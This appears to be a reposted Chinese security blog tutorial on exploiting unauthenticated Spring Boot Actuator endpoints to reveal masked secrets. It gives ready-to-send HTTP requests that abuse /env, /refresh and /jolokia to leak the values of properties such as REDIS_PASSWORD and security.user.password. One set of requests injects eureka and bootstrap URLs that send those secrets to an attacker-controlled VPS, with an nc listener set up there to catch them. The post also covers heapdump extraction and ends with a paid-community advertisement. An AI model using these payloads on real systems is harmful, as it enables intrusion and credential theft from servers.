Spring未授权星号脱敏获取

admin 2024年7月24日01:14:57评论8 views字数 2616阅读8分43秒阅读模式

一.漏洞介绍

spring actuatorspringboot用来管理资源处理数据、映射url端点等具有一系列功能的工具,当没有配置安全访问时,就会把一些端点数据和数据库敏感信息暴露在外

/autoconfig  提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过
/beans  描述应用程序上下文里全部的Bean,以及它们的关系
/env  获取全部环境属性
/configprops  描述配置属性(包含默认值)如何注入Bean
/dump  获取线程活动的快照
/health  报告应用程序的健康指标,这些值由HealthIndicator的实现类提供
/info  获取应用程序的定制信息,这些信息由info打头的属性提供
/mappings  描述全部的URI路径,以及它们和控制器(包含Actuator端点)的映射关系
/metrics  报告各种应用程序度量信息,比如内存用量和HTTP请求计数
/shutdown  关闭应用程序,要求endpoints.shutdown.enabled设置为true
/trace  提供基本的HTTP请求跟踪信息(时间戳、HTTP头等)

1.x版本直接访问以上端点,2.x版本需要加上actuator路径

二.实战

可在相关资产测绘平台搜索springboot相关资产

poc地址如下

https://github.com/jiankeguyue/nuclei_pocs/blob/main/springboot_actuator_information_leakage.yaml

Spring未授权星号脱敏获取

现在需要获取星号敏感信息

1.利用方式1:heapdump文件

heapdump文件是java进程在某个时间段的内存快照,其中可能包含了数据库的账号密码

漏洞利用工具参照上一篇文章

Spring未授权星号脱敏获取

env界面存在heapdump端点

Spring未授权星号脱敏获取

直接进行下载

java -jar heapdump_tool.jar heapdump

Spring未授权星号脱敏获取

成功获取

2.利用方式2:eureka-client完成数据脱敏

利用条件:
可以 GET 请求目标网站的 /env
可以 POST 请求目标网站的 /env
可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
目标使用了 spring-cloud-starter-netflix-eureka-client 依赖
目标可以请求攻击者的服务器(请求可出外网)

Spring未授权星号脱敏获取

目标使用了eureka-client

GET 请求目标网站的 /env/actuator/env 接口,搜索 ****** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名

比如这个

Spring未授权星号脱敏获取

redis数据库的密码

然后在自己控制的外网服务器上监听端口

比如

nc -lvk 3333

然后发送数据包

1.x版本连续发送这两个数据包

POST /env
Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://value:${REDIS_PASSWORD}@your vps:3333
POST /refresh
Content-Type: application/x-www-form-urlencoded

这里返回了数据包

Authorization: Basic xxxxxx

xxxx后面就是可以用来解码的数据

可惜的是这种方式无法适用于被明文数据中有特殊 url 字符的情况,比如@

如下所示

Spring未授权星号脱敏获取

3.利用方式3:利用env直接发包

spring1.x

1
POST /env
Content-Type: application/x-www-form-urlencoded

spring.cloud.bootstrap.location=http://yourvps:3333/?=${REDIS_PASSWORD}

2
POST /refresh
Content-Type: application/x-www-form-urlencoded

 

2.x版本就改为

1
POST /actuator/env
Content-Type: application/json

{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}

2
POST /actuator/refresh
Content-Type: application/json

不出意外获得的数据会是这样的

Spring未授权星号脱敏获取

是明文数据,不需要解码

4.利用方式4:jolokia利用

目标网站存在 /jolokia 或 /actuator/jolokia 接口
目标使用了 jolokia-core 依赖(版本要求暂未知)

poc1

POST /jolokia
Content-Type: application/json

{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

poc2

POST /jolokia
Content-Type: application/json

{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

明文值结果包含在 response 数据包中的 value 键中。

如果你是一个长期主义者,欢迎加入我的知识星球,我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款
前面有同学问我有没优惠券,这里发放100张100元的优惠券,用完今年不再发放

Spring未授权星号脱敏获取

Spring未授权星号脱敏获取

往期回顾

 

 

dom-xss精选文章

年度精选文章

Nuclei权威指南-如何躺赚

漏洞赏金猎人系列-如何测试设置功能IV

漏洞赏金猎人系列-如何测试注册功能以及相关Tips

原文始发于微信公众号(迪哥讲事):Spring未授权星号脱敏获取

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月24日01:14:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Spring未授权星号脱敏获取https://cn-sec.com/archives/2992476.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息